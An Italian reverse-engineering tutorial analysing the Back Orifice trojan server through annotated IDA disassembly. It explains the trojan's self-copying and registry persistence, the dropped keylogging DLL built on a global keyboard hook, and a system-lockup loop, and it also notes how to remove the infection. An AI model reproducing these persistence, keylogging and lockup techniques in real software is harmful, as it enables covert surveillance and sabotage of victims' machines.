Little-John, proud member of RingZer0 (ringzer0.cjb.net), presents

 		* R e v e r s i n g * B O S e r v e r *



LETTERATURA
------------
 Iczelion's Guide to Winsock Programming (in Italiano su RingZ3r0)
 WIN32 Api Guide
 MSDN Library Visual Studio 6

TOOLS (CHE IO USO :)
--------------------
 SoftIce 3.23 (o 4.0 !!!)
 BoundsChecker C++ v6.01
 IDA Pro v3.8b

Premessa: il funzionamento del BO
---------------------------------
 Il Bo consta di 2 parti: server & client. Il server risiede sulla macchina da
hackare, il client su quella dell''hacker' (se così possono essere definite le
persone che ne fanno uso, altro termine più appropriato sarebbe 'lamerone
bastardo'). Così il client, attraverso la rete, manda le richieste al server, il
server le soddisfa sulla macchina su cui risiede, e manda l'esito delle
operazioni al client.

Reversing BoServer
------------------
 Salve a tutti i naviganti, che forse, dopo aver letto questa ish, chiuderanno
la connessione e butteranno il modem dalla finestra :).
 Provate a ricercare in un motore di ricerca 'Back Orifice', oppure 'Bo Server'
e poi, perchè no, anche 'Nobo'... fatevi un po' di cultura sull'argomento e poi
continuate

 Ok, ora che sapete cos'è il BO sarete forse anche curiosi di sapere come
funziona, e in questa ish analizziamo il lato server (quello che fa più male ;).

 Prima di tutto disassemblate con IDA il file server (mi raccomando a stare
attenti con l'esecuzione del boserver, può avere diversi nomi, e dopo
l'esecuzione lo ritrovate in \windows\system\ .exe, si proprio ' ..exe').
 Infatti analizzando il file con il BoundsChecker, si nota che il server si
autocopia nella directory \windows\system come .exe, si autocancella dalla
posizione corrente e crea nel registro di windows una chiave per autoavviarsi ad
ogni avvio (HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices). A
questo punto la macchina è 'infetta' e il server accoglierà ogni richiesta dei
client BO (se provate in locale lo potrete constatare). Naturalmente basta
cancellare la chiave del registro '(Predefinito) .exe' e al successivo riavvio
il Server è disattivato.

SNiPPeT

 Per analizzare meglio il file bisogna fare in modo che, quando si autocopia,
cambi il proprio nome in maniera diversa da ' .exe', per esempio 'a.exe'. Non
crediate che questa operazione eviti il caricamento corretto del server: se fate
in modo che il file si autorinonimi in a.exe, nella chiave di registro
..\Windows\CurrentVersion\RunServices troverete a.exe. Infatti questo
cambiamento si attua modificando la stringa ' .exe' in 'a.exe' nel file del
server, quindi per tutte le operazioni sarà usata la stringa a.exe. Anche in
SoftIce se non cambiate il file a digitate 'task' nella vostra lista di task
attivi troverete uno spazio vuoto. Dopo aver patchato il file tra i task ci
sarà, ad esempio, a.

end SNiPPeT

 L'inizializzazione del socket è all'indirizzo 00404244 con la funzione
WSOCK32_115 che potreste rinominare con _WSAStartup.

..text:00404238 8D 85 1C D0 FF FF lea     eax, [ebp+WSAData]
..text:0040423E 50                push    eax
..text:0040423F 68 01 01 00 00    push    101h
..text:00404244 E8 5F 75 00 00    call    _WSAStartup

 I parametri quindi passati alla funzione, naturalmente in ordine inverso, sono
il puntatore alla struttura WSAData e la versione del socket (1.1 in questo
caso).

 Dopo la creazione del socket il server non si butta a capofitto nella apertura
dei 'servizi', ma crea attorno a sè un ambiente in cui vengano implementate
tutte le funzioni.
 Ad esempio per il keyboard / console hooking il server crea on-the-fly ad ogni
avvio windll.dll (la trovate nella directory \system) che esporta due funzioni

 1 _KeyHookProc@12
 2 _ConsoleHookProc@12

 Il server, per assicurarsi che la dll sia la sua, la cancella ogni volta che
viene avviato e poi la ricrea. Siccome la dll è hardcodata nel file, il server
usa SetFilePointer, poi legge nel file il codice della dll e mette tutto in un
buffer ed infine crea il file con i dati del buffer.
 Il codice della creazione è:

004042FB 8D 85 90 F5 FF FF lea     eax, [ebp+FileName]
00404301 53                push    ebx
00404302 68 80 00 00 00    push    80h
00404307 6A 02             push    2
00404309 53                push    ebx
0040430A 53                push    ebx
0040430B 68 00 00 00 C0    push    0C0000000h
00404310 50                push    eax
00404311 FF 15 5C 24 42 00 call    ds:CreateFileA        ; CreateFileA:
00404317 8B F0             mov     esi, eax
00404319 57                push    edi			 ; HRSRC
0040431A 53                push    ebx			 ; Hmodule
0040431B FF 15 74 24 42 00 call    ds:SizeofResource     ; SizeofResource
00404321 89 45 EC          mov     [ebp+FileSize], eax
00404324 3B C3             cmp     eax, ebx
00404326 74 12             jz      short loc_0_40433A
00404328 53                push    ebx
00404329 8D 45 D8          lea     eax, [ebp+STROverlapped]
0040432C 50                push    eax                   ; BytesWritten
0040432D FF 75 EC          push    [ebp+FileSize]        ; BytesToWrite
00404330 FF 75 E8          push    [ebp+lpBuffer]        ; Buffer
00404333 56                push    esi                   ; FileHandle
00404334 FF 15 8C 24 42 00 call    ds:WriteFile          ; WriteFile:
0040433A                   loc_0_40433A:                
0040433A 56                push    esi
0040433B FF 15 D8 24 42 00 call    ds:CloseHandle        ; CloseHandle:
00404341 FF 75 E8          push    [ebp+lpBuffer]
00404344 FF 15 70 24 42 00 call    ds:FreeResource       ; FreeResource:


 Se provate a cancellare questa dll e azionate il keyboard hooking dal client
leggerete un messaggio di errore nella finestra del client (Error
1157:Impossibile trovare uno dei file della libreria necessari per eseguire
l'applicazione loading DLL).

 Le chiamate successive inerenti al socket sono:
 _CreateSpecSock (WSOCK32_23), creazione del socket
 _ConvToTCP (WSOCK32_9), conversione dell'indirizzo in formato TCP/IP
 _LinkAddrToSock (WSOCK32_2), bind, cioè assegna un indirizzo al socket

 Le richieste del client sono gestite da un apparato 'switch case' di 64 casi
totali, tra cui la gestione degli errori (unknown command e unimplemented
function):

..text:00404A58 83 F8 3F          cmp     eax, 3Fh               ; switch 64
cases
..text:00404A5B 77 07             ja      short loc_0_404A64     ; default
..text:00404A5D FF 24 85 BB 99 40+jmp     ds:off_0_4099BB[eax*4] ; switch jump
..text:00404A64 68 8C 7B 41 00    loc_0_404A64:                  
..text:00404A64                   push    offset str->UnknownCom ; default
..text:00404A69 8D 85 64 E5 FF FF lea     eax, [ebp+SystemDirectory]
..text:00404A6F 50                push    eax
..text:00404A70 E9 7E 4E 00 00    jmp     loc_0_4098F3

 In questa ish analizzeremo le funzioni (a mio parere) più interessanti ;> che
il server mette a disposizione del client:
 - KeyLog (begin/end)
 - System Lockup

KEYLOGGING
----------
 Come ho prima affermato il codice della funzione per loggare la digitazione dei
tasti non risiede nel server, ma nella dll da lui creata (windll.dll).

..text:00405656 8D 85 3C FD FF FF KeyLog:                      
..text:00405656                   lea     eax, [ebp+MessageBuffer]    ; case 0x7
..text:0040565C 50                push    eax
..text:0040565D E8 7E 61 00 00    call    MessageLength         ; ret
(eax=length)
..text:00405662 83 C4 04          add     esp, 4
..text:00405665 85 C0             test    eax, eax
..text:00405667 0F 84 79 42 00 00 jz      loc_0_4098E6
..text:0040566D 39 1D 50 71 41 00 cmp     HookHandle, ebx

/* In questa parte dell'applicazione viene ricevuto il messaggio di keylogging e
viene effettuato un controllo per assicurarsi che non sia già stato avviato.
Infatti se la variabile HookHandle è contiene l'handle del processo di hooking
allora viene generato un messaggio di LoggingInProgress */

..text:00405673 74 11             jz      short InitKeyHook		;---+
..text:00405675 68 60 81 41 00    push    offset str->LoggingInP		;   |
..text:0040567A 8D 85 64 E5 FF FF lea     eax, [ebp+SystemDirectory]	;   |
..text:00405680 50                push    eax				;   |
..text:00405681 E9 6D 42 00 00    jmp     loc_0_4098F3			;   |
..text:00405686                   InitKeyHook:				;<--+

/* Tutte le operazioni svolte con i tasti dall'utente vengono salvate in un file
che viene mappato in memoria:

..text:00405686 68 4C 81 41 00    push    offset str->Bofilema_0		; nome file
..text:0040568B 68 08 01 00 00    push    108h				; attrib
..text:00405690 53                push    ebx				; protezione del file
..text:00405691 6A 04             push    4				; high-order size
..text:00405693 53                push    ebx				; low-order size
..text:00405694 6A FF             push    0FFFFFFFFh			; handle del file
..text:00405696 FF 15 40 24 42 00 call    ds:CreateFileMappingA

/* Nella guida delle API di Winsoz è riportato che se l'handle del file è
0FFFFFFFFh, allora il file più che essere l'immagine in memoria di un file
fisico, è, in sostanza, una zona di memoria
le cui dimensioni sono passate alla chiamata (high-low order 32bits). L'handle
del file è restituito in eax */

..text:0040569C 53                push    ebx
..text:0040569D 89 45 94          mov     [ebp+MapFileHandle], eax
..text:004056A0 3B C3             cmp     eax, ebx
..text:004056A2 75 22             jnz     short loc_0_4056C6
[...]
..text:004056C6                   loc_0_4056C6:
..text:004056C6 53                push    ebx
..text:004056C7 53                push    ebx
..text:004056C8 6A 02             push    2
..text:004056CA FF 75 94          push    [ebp+MapFileHandle]
..text:004056CD FF 15 68 24 42 00 call    ds:MapViewOfFile

/* Il file è quindi mappato in modo readwrite nello spazio di indirizzamento del
server, eax indica l'indirizzo da cui inizia la mappatura */

..text:004056D3 8B F0             mov     esi, eax
..text:004056D5 8D 85 3C FD FF FF lea     eax, [ebp+var_2C4]
..text:004056DB 50                push    eax
..text:004056DC 56                push    esi
..text:004056DD E8 CE 64 00 00    call    MessageCreator
..text:004056E2 83 C4 08          add     esp, 8
..text:004056E5 56                push    esi
..text:004056E6 FF 15 C8 24 42 00 call    ds:UnmapViewOfFile

/* ... */

..text:004056EC BE 2C 7B 41 00    mov     esi, offset str->Windll_dll
..text:004056F1 56                push    esi
..text:004056F2 FF 15 14 24 42 00 call    ds:LoadLibraryA
..text:004056F8 89 45 D4          mov     [ebp+LibHandle], eax
..text:004056FB 3B C3             cmp     eax, ebx
..text:004056FD 75 2E             jnz     short loc_0_40572D
[...]
..text:0040572D                   push    offset str->_keyhookpr
..text:00405732 FF 75 D4          push    [ebp+LibHandle]
..text:00405735 FF 15 10 25 42 00 call    ds:GetProcAddress
..text:0040573B 53                push    ebx
..text:0040573C 85 C0             test    eax, eax
..text:0040573E 75 22             jnz     short loc_0_405762

/* Una volta che la libreria è stata aperta viene importato l'indirizzo della
funzione di keyhooking (in eax) */

[...]
..text:00405762                   loc_0_405762:
..text:00405762 FF 75 D4          push    [ebp+LibHandle]
..text:00405765 50                push    eax
..text:00405766 6A 02             push    2
..text:00405768 FF 15 20 26 42 00 call    ds:SetWindowsHookExA
..text:0040576E A3 50 71 41 00    mov     HookHandle, eax
..text:00405773 3B C3             cmp     eax, ebx
..text:00405775 75 31             jnz     short loc_0_4057A8

/* Con l'api SetWindowsHookExA viene settata la funzione di hooking, in
particolare siccome ebx è uguale a 0, tutti i thread sono 'affetti' dall'hooking
e il tipo di hooking specificato è il WH_KEYBOARD (push 2) */

[...]
..text:004057A8                   loc_0_4057A8:
..text:004057A8 68 D0 80 41 00    push    offset str->LoggingKey
..text:004057AD 8D 85 64 E5 FF FF lea     eax, [ebp+SystemDirectory]
..text:004057B3 50                push    eax
..text:004057B4 E8 F7 62 00 00    call    sub_0_40BAB0
..text:004057B9 E9 3A 41 00 00    jmp     loc_0_4098F8

 Ma ora vediamo in cosa effettivamente consiste la funzione di keyhooking ( hey
Neural ;) così come sviluppata nella windll.dll.

..text:10001056 68 70 33 00 10    push    offset str->Bofilemapp
..text:1000105B 6A 00             push    0
..text:1000105D 6A 02             push    2
..text:1000105F FF 15 E8 40 00 10 call    ds:OpenFileMappingA
..text:10001065 8B F0             mov     esi, eax
..text:10001067 85 F6             test    esi, esi
..text:10001069 75 07             jnz     short loc_0_10001072
[...]
..text:10001072                   loc_0_10001072:
..text:10001072 6A 00             push    0
..text:10001074 6A 00             push    0
..text:10001076 6A 00             push    0
..text:10001078 6A 02             push    2
..text:1000107A 56                push    esi
..text:1000107B FF 15 E4 40 00 10 call    ds:MapViewOfFile
..text:10001081 8B F8             mov     edi, eax
..text:10001083 68 6C 33 00 10    push    offset str->A
..text:10001088 57                push    edi
..text:10001089 FF 15 14 41 00 10 call    ds:fopen
..text:1000108F 83 C4 08          add     esp, 8
..text:10001092 8B D8             mov     ebx, eax
..text:10001094 57                push    edi
..text:10001095 FF 15 E0 40 00 10 call    ds:UnmapViewOfFile
..text:1000109B 56                push    esi
..text:1000109C FF 15 F8 40 00 10 call    ds:CloseHandle
..text:100010A2 85 DB             test    ebx, ebx

/* Il file in cui viene loggato l'input da tastiera è ora aperto e accessibile
con un handle */

..text:100010A4 0F 84 E4 04 00 00 jz      Error
..text:100010AA FF 15 50 41 00 10 call    ds:GetFocus
..text:100010B0 39 05 10 30 00 10 cmp     dword_0_10003010, eax
..text:100010B6 8B E8             mov     ebp, eax
..text:100010B8 0F 84 85 00 00 00 jz      loc_0_10001143
..text:100010BE 68 68 33 00 10    push    offset str->->		; formato
..text:100010C3 8B 35 3C 41 00 10 mov     esi, ds:fprintf
..text:100010C9 53                push    ebx			; puntatore al file
..text:100010CA FF D6             call    esi (=fprintf)

/* La funzione fprintf lavora così: acquisisce il puntatore alla struttura file
(ebx in questo caso) e il tipo di formattazione da usare (->). Se non è
specificata la formattazione la funzione utilizzerà di default %. Quindi la
prima cosa che il server scriverà nel file di logging è -> seguito, come vedremo
dal titolo della finestra in cui si digita il testo. */

..text:100010CC 8D 84 24 20 01 00+lea     eax, [esp+520h+WindTextBuf]
..text:100010D3 83 C4 08          add     esp, 8
..text:100010D6 89 2D 10 30 00 10 mov     dword_0_10003010, ebp
..text:100010DC 68 00 04 00 00    push    400h
..text:100010E1 50                push    eax
..text:100010E2 55                push    ebp
..text:100010E3 FF 15 58 41 00 10 call    ds:GetWindowTextA

/* Con questa funzione viene ricevuto il titolo della finestra. */

..text:100010E9 85 ED             test    ebp, ebp
..text:100010EB 74 49             jz      short loc_0_10001136
..text:100010ED                   loc_0_100010ED:
..text:100010ED 55                push    ebp
..text:100010EE FF 15 54 41 00 10 call    ds:GetParent
..text:100010F4 8B E8             mov     ebp, eax
..text:100010F6 68 00 04 00 00    push    400h
..text:100010FB 8D 84 24 1C 01 00+lea     eax, [esp+51Ch+WindTextBuf]
..text:10001102 50                push    eax
..text:10001103 55                push    ebp
..text:10001104 FF 15 58 41 00 10 call    ds:GetWindowTextA
..text:1000110A 8D BC 24 18 01 00+lea     edi, [esp+518h+WindTextBuf]
..text:10001111 B9 FF FF FF FF    mov     ecx, 0FFFFFFFFh
..text:10001116 2B C0             sub     eax, eax
..text:10001118 F2 AE             repne scasb
..text:1000111A F7 D1             not     ecx
..text:1000111C 49                dec     ecx
..text:1000111D 74 13             jz      short loc_0_10001132
..text:1000111F 8D 84 24 18 01 00+lea     eax, [esp+518h+WindTextBuf]
..text:10001126 50                push    eax
..text:10001127 68 60 33 00 10    push    offset str->S
..text:1000112C 53                push    ebx
..text:1000112D FF D6             call    esi (=fprintf)

/* Qui viene scritto nel file il titolo della finestra poichè a fprintf sono
passati:
- eax = testo da scrivere, cioè il titolo della finestra in cui si sta digitando
- str->S = formattazione della stringa, questa volta ['%s'], quindi di tipo
string
- ebx = puntatore al file
*/

..text:1000112F 83 C4 0C          add     esp, 0Ch
..text:10001132                   loc_0_10001132:
..text:10001132 85 ED             test    ebp, ebp		; ebp = 0 se non ci sono
altre
								; finestre
..text:10001134 75 B7             jnz     short loc_0_100010ED
..text:10001136                   loc_0_10001136:
..text:10001136 68 5C 33 00 10    push    offset ACapo		; 0A
..text:1000113B 53                push    ebx
..text:1000113C FF D6             call    esi (=fprintf)

/* Quando la struttura della finestra in cui l'infetto scrive è stata
sufficientemente analizzata viene scritto nel file il byte di CarriageReturn
(0A) */

..text:1000113E 83 C4 08          add     esp, 8
..text:10001141 EB 06             jmp     short loc_0_10001149
..text:10001143                   loc_0_10001143:
..text:10001143                   loc_0_10001143:
..text:10001143 8B 35 3C 41 00 10 mov     esi, ds:fprintf
..text:10001149                   loc_0_10001149:
..text:10001149 F6 84 24 25 05 00+test    byte ptr [esp+518h+HookHandle+1], 20h
..text:10001151 74 0C             jz      short SwitchCase
..text:10001153 53                push    ebx
..text:10001154 6A 5E             push    5Eh
..text:10001156 FF 15 38 41 00 10 call    ds:fputc
..text:1000115C 83 C4 08          add     esp, 8
..text:1000115F                   SwitchCase:
..text:1000115F 8B AC 24 20 05 00+mov     ebp, [esp+518h+HookCode]
..text:10001166 8D 4D FF          lea     ecx, [ebp-1]
..text:10001169 81 F9 FD 00 00 00 cmp     ecx, 0FDh
..text:1000116F 77 0F             ja      short loc_0_10001180
..text:10001171 33 C0             xor     eax, eax
..text:10001173 8A 81 5C 17 00 10 mov     al, ds:byte_0_1000175C[ecx]
..text:10001179 FF 24 85 EC 15 00+jmp     ds:off_0_100015EC[eax*4]
..text:10001180                   loc_0_10001180:

/* Il codice sopra serve per analizzare l'input da tastiera: con una struttura
Switch Case vengono gestiti i diversi tasti, dai Control a quelli del tastierino
numerico... Quando viene acquisito il tasto la funzione aggiorna il file e lo
chiude. Tutto ricomincierà quando viene premuto un altro tasto */

KEYLOGGING END

SYSTEM LOCKUP
-------------
 Come fa il server a bloccare il computer?
 Il sistema utilizzato dai ragazzi del Cult_of_the_dead_Cow è tanto semplice
quanto ingegnoso :).

..text:00409970                   MachineLock:		      ; case 0x3
..text:00409970 33 F6             xor     esi, esi             
..text:00409972 8D 45 AC          lea     eax, [ebp+var_54]
..text:00409975 56                push    esi
..text:00409976 56                push    esi
..text:00409977 56                push    esi
..text:00409978 FF 75 E3          push    [ebp+Action+3]
..text:0040997B 68 C8 8C 41 00    push    offset str->LockingUpM
..text:00409980 50                push    eax
..text:00409981 FF 75 E4          push    [ebp+var_1C]
..text:00409984 E8 E1 78 FF FF    call    DataSender

/* Il server invia il messaggio al client per assicurargli che l'operazione è
stata svolta */

..text:00409989 83 C4 1C          add     esp, 1Ch
..text:0040998C 68 D0 07 00 00    push    7D0h
..text:00409991 FF 15 A4 24 42 00 call    ds:Sleep
..text:00409997 68 00 01 00 00    push    100h
..text:0040999C FF 15 D0 24 42 00 call    ds:GetCurrentProcess
..text:004099A2 50                push    eax
..text:004099A3 FF 15 1C 24 42 00 call    ds:SetPriorityClass

/* Il server passa la propria priorità a realtime (push 100) */

..text:004099A9                   loc_0_4099A9:
..text:004099A9 56                push    esi
..text:004099AA 56                push    esi
..text:004099AB E8 A0 3A 00 00    call    sub_0_40D450
..text:004099B0 50                push    eax
..text:004099B1 6A 09             push    9
..text:004099B3 FF 15 20 26 42 00 call    ds:SetWindowsHookExA
..text:004099B9 EB EE             jmp     short loc_0_4099A9

/* Viene installato in maniera ricorsiva un hook di tipo Debug in un loop
infinito :P */


SYSTEM LOCKUP END


Ultime considerazioni
---------------------

 Le altre funzioni implementate dal server non sono niente di particolare (dal
punto di vista del reversing) e lascio alla vostra curiosità la loro
esplorazione.

 Hey boyz, non perdetevi la prossima tute sul NOBO ;)


Ring-raziamenti
 Naturalmente non posso non salutare tutti i members di RingZ3r0, e tutti coloro
che frequentano #crack-it. Sperando di incontrarvi al prossimo Hack-it
 Little-John